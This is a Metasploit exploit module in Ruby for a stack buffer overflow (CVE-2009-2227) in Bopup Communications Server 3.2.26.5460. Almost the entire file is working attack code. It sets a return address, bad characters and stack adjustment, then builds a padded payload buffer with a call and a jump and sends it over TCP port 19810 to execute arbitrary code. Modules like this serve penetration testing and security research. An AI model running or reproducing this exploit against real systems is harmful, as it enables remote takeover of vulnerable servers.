Bopup Communications Server Buffer Overflow



##

# $Id: bopup_comm.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Bopup Communications Server Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.
                    By sending a specially crafted packet, an attacker may be
                    able to execute arbitrary code.
            },
            'Author'         => [ 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    [ 'CVE', '2009-2227' ],
                    [ 'OSVDB', '55275' ],
                    [ 'URL', 'http://www.blabsoft.com/products/server' ],
                    [ 'URL', 'http://milw0rm.com/exploits/9002' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'Space'    => 417,
                    'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
                    'StackAdjustment' => -3500,
                    'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Bopup Communications Server 3.2.26.5460',   { 'Ret' => 0x0041add2 } ],
                ],
            'Privileged'     => true,
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jun 18 2009'))

        register_options(
            [
                Opt::RPORT(19810)
            ], self.class)
    end

    def exploit
        connect

        sploit =  [0x00000001].pack('V')
        sploit << rand_text_alpha_upper(829 - payload.encoded.length)
        sploit << payload.encoded
        sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string
        sploit << rand_text_alpha_upper(27)
        sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)
        sploit << [target.ret].pack('V')

        print_status("Trying target #{target.name}...")
        sock.put(sploit)

        handler
        disconnect
    end

end